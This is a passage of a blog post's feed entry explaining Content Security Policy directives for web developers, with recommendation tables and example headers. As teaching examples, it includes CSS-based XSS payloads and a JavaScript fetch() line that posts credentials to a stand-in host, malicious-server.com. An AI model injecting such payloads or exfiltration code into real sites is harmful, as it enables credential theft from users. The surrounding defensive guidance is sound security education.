      <td><code class="language-plaintext highlighter-rouge">script-src: 'strict-dynamic'</code></td>
      <td>⚠ Use this when you rely on dynamically loaded scripts (your script downloading other scripts). It allows scripts loaded by trusted sources to execute but blocks others. Combine with nonces or hashes for better security.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">script-src: 'unsafe-inline'</code></td>
      <td>❌ <strong>Avoid this</strong> unless absolutely necessary. It allows inline scripts, which can be a major security risk. Use nonces or hashes instead.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">script-src: https://trusted.cdn.com</code></td>
      <td>✅ Specify trusted third-party domains explicitly. Only allow scripts from domains you trust completely.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">script-src: 'self' https://apis.google.com</code></td>
      <td>⚠ Example of combining self-hosted scripts with a specific trusted third-party domain. Useful for integrating specific APIs or libraries. <strong>Triple-check what domains you allow.</strong></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">script-src: 'report-sample'</code></td>
      <td>⚠ <strong>Does not actually enforce the policy.</strong> Use this to include samples of blocked scripts in violation reports. Helps in debugging and refining your CSP policy.</td>
    </tr>
  </tbody>
</table>

<h4 id="block-all-css">Block All CSS</h4>

<p>CSS looks innocent as it is used for styling, but it can also be exploited.<br />
For example: <code class="language-plaintext highlighter-rouge">&lt;DIV STYLE="width: expression(alert('XSS'));"&gt;</code> or <code class="language-plaintext highlighter-rouge">&lt;DIV STYLE="background-image: url(javascript:alert('XSS'))"&gt;</code> can cause the browser to run unexpected JavaScript.<br />
Solution? Block what you don’t recognize.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">style-src: 'none'</code></td>
      <td>✅ Don’t allow any styles. Best configuration if your website can work without any external or inline styles.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">style-src: 'self'</code></td>
      <td>✅ Only allow styles from your own domain. This is a good default for most websites.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">style-src: 'nonce-abc123'</code></td>
      <td>✅ Use when you have inline styles that need to be trusted. Nonces ensure only authorized inline styles are executed.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">style-src: 'unsafe-inline'</code></td>
      <td>❌ <strong>Avoid this</strong> unless absolutely necessary. It allows inline styles, which can be a security risk. Use nonces or hashes instead.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">style-src: https://trusted.cdn.com</code></td>
      <td>✅ Specify trusted third-party domains explicitly. Only allow styles from domains you trust completely.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">style-src: 'self' https://fonts.googleapis.com</code></td>
      <td>⚠ Example of combining self-hosted styles with a specific trusted third-party domain. Useful for integrating specific fonts or libraries. <strong>Triple-check what domains you allow.</strong></td>
    </tr>
  </tbody>
</table>

<h4 id="block-all-images">Block All Images</h4>

<p>Images can also be a source of security risks, especially if they are loaded from untrusted domains. Attackers can use image URLs to exfiltrate data or execute malicious code. Or simply link to an image that is multiple GBs in size.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">img-src: 'none'</code></td>
      <td>✅ Block all images. Best for websites that do not rely on images.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">img-src: 'self'</code></td>
      <td>✅ Allow images only from your own domain.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">img-src: https://trusted.com</code></td>
      <td>✅ Specify trusted third-party domains explicitly. Only allow images from domains you trust.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">img-src: 'self' data:</code></td>
      <td>⚠ Allow self-hosted images and inline base64-encoded images. Use cautiously and only if required.</td>
    </tr>
  </tbody>
</table>

<h4 id="block-all-api-calls">Block All API Calls</h4>

<p>APIs are often used to fetch sensitive data. Restricting API calls ensures that only trusted endpoints are accessed. Attackers try to inject JavaScript into your website and make calls to their endpoints to exfiltrate sensitive information. This header blocks such attempts.</p>

<p><strong>Example Scenario</strong>:<br />
Imagine a malicious actor injects a script into your website that sends user credentials to an external server. For instance, the attacker could use the following script:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://malicious-server.com/steal-data</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
  <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> <span class="na">username</span><span class="p">:</span> <span class="dl">"</span><span class="s2">user123</span><span class="dl">"</span><span class="p">,</span> <span class="na">password</span><span class="p">:</span> <span class="dl">"</span><span class="s2">password123</span><span class="dl">"</span> <span class="p">}),</span>
<span class="p">});</span>
</code></pre></div></div>

<p>If your CSP includes a directive like <code class="language-plaintext highlighter-rouge">connect-src: 'self'</code>, the browser will block this request because the domain <code class="language-plaintext highlighter-rouge">https://malicious-server.com</code> is not allowed. This prevents the attacker from successfully exfiltrating the data. By restricting API calls to trusted domains, you significantly reduce the risk of data theft and unauthorized access.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connect-src: 'none'</code></td>
      <td>✅ Block all API calls. Best for static websites that do not need to fetch data dynamically.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connect-src: 'self'</code></td>
      <td>✅ Allow API calls only to your own domain.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connect-src: https://api.com</code></td>
      <td>✅ Specify trusted third-party APIs explicitly. Only allow calls to domains you trust.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connect-src: 'self' wss:</code></td>
      <td>⚠ Allow WebSocket connections along with self-hosted API calls. Use only if necessary.</td>
    </tr>
  </tbody>
</table>

<h4 id="block-all-fonts">Block All Fonts</h4>

<p>Fonts can be exploited to load malicious content or track users. An attacker could inject CSS that attempts to load extremely large font files from external, potentially slow, or unavailable servers. They can define a series of custom font families where each “glyph” in the font corresponds to a specific piece of information (e.g., different characters in a secret). Then, through carefully crafted CSS selectors and properties (like <code class="language-plaintext highlighter-rouge">content</code>), they can dynamically apply these “data-encoded” fonts based on the content of specific elements on the page. When the browser renders the text with the attacker’s font, it effectively transmits the data as font glyphs.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">font-src: 'none'</code></td>
      <td>✅ Block all fonts. Best for websites that do not rely on custom fonts.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">font-src: 'self'</code></td>
      <td>✅ Allow fonts only from your own domain.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">font-src: https://trusted-fonts.com</code></td>
      <td>✅ Specify trusted third-party font providers explicitly. Only allow fonts from domains you trust.</td>
    </tr>
  </tbody>
</table>

<h4 id="block-all-objects">Block All Objects</h4>

<p>The <code class="language-plaintext highlighter-rouge">object-src</code> directive controls the sources from which <code class="language-plaintext highlighter-rouge">&lt;object&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;embed&gt;</code>, and <code class="language-plaintext highlighter-rouge">&lt;applet&gt;</code> elements can load content. These elements can be exploited to load malicious content or execute harmful scripts. For example, an attacker could embed a malicious Flash file or other object that exploits vulnerabilities in the user’s browser or plugins.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">object-src: 'none'</code></td>
      <td>✅ Block all objects. Best for websites that do not rely on <code class="language-plaintext highlighter-rouge">&lt;object&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;embed&gt;</code>, or <code class="language-plaintext highlighter-rouge">&lt;applet&gt;</code>.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">object-src: 'self'</code></td>
      <td>✅ Allow objects only from your own domain.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">object-src: https://trusted.com</code></td>
      <td>✅ Specify trusted third-party domains explicitly. Only allow objects from domains you trust.</td>
    </tr>
  </tbody>
</table>

<p>By using <code class="language-plaintext highlighter-rouge">object-src: 'none'</code>, you can eliminate the risk of malicious objects being loaded on your website. This is especially important as plugins like Flash are deprecated and pose significant security risks.</p>

<h4 id="block-all-form-actions">Block All Form Actions</h4>

<p>Forms can be used to submit sensitive data. Restricting form actions ensures data is only sent to trusted endpoints.<br />
An attacker can create a malicious HTML page on a completely different domain. This page can contain a <code class="language-plaintext highlighter-rouge">&lt;form&gt;</code> that is crafted to mimic a legitimate form on your website. The <code class="language-plaintext highlighter-rouge">action</code> attribute of this malicious form will point to a sensitive endpoint on your website (e.g., changing a user’s email, transferring funds, or modifying settings). If the user is logged into your website at the time, the malicious form submission will be executed with their credentials, potentially leading to unauthorized actions and data theft.</p>

<p>If your forms submit sensitive data (even if over HTTPS), and you don’t restrict the submission targets with <code class="language-plaintext highlighter-rouge">form-action</code>, an attacker could potentially trick users into submitting this data to a domain they control.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">form-action: 'none'</code></td>
      <td>✅ Block all form submissions. Best for websites that do not use forms.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">form-action: 'self'</code></td>
      <td>✅ Allow form submissions only to your own domain.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">form-action: https://trusted.com</code></td>
      <td>✅ Specify trusted third-party domains explicitly. Only allow submissions to domains you trust.</td>
    </tr>
  </tbody>
</table>

<h4 id="block-rendering-in-iframes">Block Rendering in iframes</h4>

<p>iframes can be exploited for clickjacking attacks or to load malicious content. For example, imagine a user logged into their online banking portal. An attacker creates a malicious website with a deceptive button labeled “Win a Free Prize!”. Behind this button, the attacker embeds the user’s banking portal in an <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code> and carefully aligns the “Transfer Funds” button from the banking site directly beneath the “Win a Free Prize!” button. The <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code> is styled to be mostly transparent, making it invisible to the user. When the user, unaware of the hidden <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code>, clicks the “Win a Free Prize!” button, they inadvertently trigger the “Transfer Funds” action on their bank’s website. This could result in unauthorized transactions, transferring money to the attacker.<br />
Blocking or restricting iframe usage with CSP can prevent such attacks by ensuring your website cannot be embedded in untrusted domains.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">frame-ancestors: 'none'</code></td>
      <td>✅ Block all embedding of your site in iframes. Prevents clickjacking attacks.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">frame-ancestors: 'self'</code></td>
      <td>✅ Allow embedding only on your own domain. Use this <strong>only</strong> if you really need iframe embedding.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">frame-ancestors: https://trusted.com</code></td>
      <td>✅ Specify trusted domains explicitly. Only allow embedding on domains you trust.</td>
    </tr>
  </tbody>
</table>

<h3 id="wherehow-to-add-csp">Where/How to add CSP?</h3>

<p>CSP is implemented using the <code class="language-plaintext highlighter-rouge">Content-Security-Policy</code> HTTP header or a <code class="language-plaintext highlighter-rouge">&lt;meta&gt;</code> tag in your HTML. For example:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy: script-src 'self' https://trusted.cdn.com; style-src 'self';
</code></pre></div></div>

<p>If you cannot set HTTP headers, you can use a <code class="language-plaintext highlighter-rouge">&lt;meta&gt;</code> tag in your HTML to define the CSP. Here’s an example:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;meta</span>
  <span class="na">http-equiv=</span><span class="s">"Content-Security-Policy"</span>
  <span class="na">content=</span><span class="s">"default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self';"</span>
<span class="nt">/&gt;</span>
</code></pre></div></div>

<blockquote>
  <p>This approach is less secure than using HTTP headers because it can be modified by attackers if they gain control of your HTML. Use it only as a fallback.</p>
</blockquote>

<h3 id="using-nonces-with-csp">Using Nonces with CSP</h3>

<blockquote>
  <p>There is a detailed post about nonces <a href="./ui-nonce">at this link</a></p>
</blockquote>

<p>Nonces are unique, cryptographically secure tokens generated for each HTTP response. They are used to mark inline scripts and styles as trusted. Here’s how it works:</p>

<ul>
  <li>The server generates a unique nonce for each page load.</li>
  <li>The nonce is included in the <code class="language-plaintext highlighter-rouge">Content-Security-Policy</code> header:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy: script-src 'nonce-abc123';
</code></pre></div></div>

<ul>
  <li>Inline scripts include the nonce as an attribute:</li>
</ul>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">nonce=</span><span class="s">"abc123"</span><span class="nt">&gt;</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">This script is trusted.</span><span class="dl">"</span><span class="p">);</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<ul>
  <li>The browser executes only scripts with the correct nonce.</li>
</ul>

<h3 id="best-practices-for-implementing-csp">Best Practices for Implementing CSP</h3>

<ul>
  <li><strong>Generally avoid <code class="language-plaintext highlighter-rouge">'unsafe-inline'</code></strong>, because it defeats much of the purpose of having a CSP.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">'unsafe-hashes'</code> value is also unsafe.</strong> However, <code class="language-plaintext highlighter-rouge">'unsafe-hashes'</code> is much safer than <code class="language-plaintext highlighter-rouge">'unsafe-inline'</code>.</li>
  <li><strong>Triple-check what domains you allow</strong> in any of the CSPs. IF you are doubtful, remove instead of adding the domain.</li>
  <li><strong>Start with a Report-Only Mode</strong>: Use the <code class="language-plaintext highlighter-rouge">Content-Security-Policy-Report-Only</code> header to test your policy without blocking content.</li>
  <li><strong>Use Nonces or Hashes</strong>: Avoid the <code class="language-plaintext highlighter-rouge">'unsafe-inline'</code> directive, and use nonces or hashes to allow trusted inline scripts and styles.</li>
  <li><strong>Monitor Violations</strong>: Set up a reporting endpoint to collect CSP violation reports and refine your policy.</li>
</ul>

<h3 id="example-csp-header">Example CSP Header</h3>

<p>Here’s an example of a robust CSP header:
✅ Good CSP</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy:
   script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https:;
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
report-uri https://csp.example.com;
</code></pre></div></div>

<p>❌ Bad CSP</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy:
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js  https://*.gstatic.com/feedback/ https://ajax.googleapis.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com;
default-src 'self' * 127.0.0.1 https://[2a00:79e0:1b:2:b466:5fd9:dc72:f00e]/foobar;
img-src https: data:;
child-src data:;
foobar-src 'foobar';
report-uri http://csp.example.com;
</code></pre></div></div>

<h3 id="conclusion">Conclusion</h3>

<p>Content Security Policy is a critical tool for securing modern web applications. By carefully defining and enforcing a CSP, you can protect your users and your application from a wide range of attacks. Start small, monitor violations, and refine your policy to achieve a balance between security and functionality.</p>]]></content><author><name>Shaswat Rungta</name></author><category term="Start Right" /><category term="Frontend" /><category term="CSP" /><category term="Security" /><summary type="html"><![CDATA[Understanding Content Security Policy (CSP)]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/start-right/STARTRIGHT-02/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/start-right/STARTRIGHT-02/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>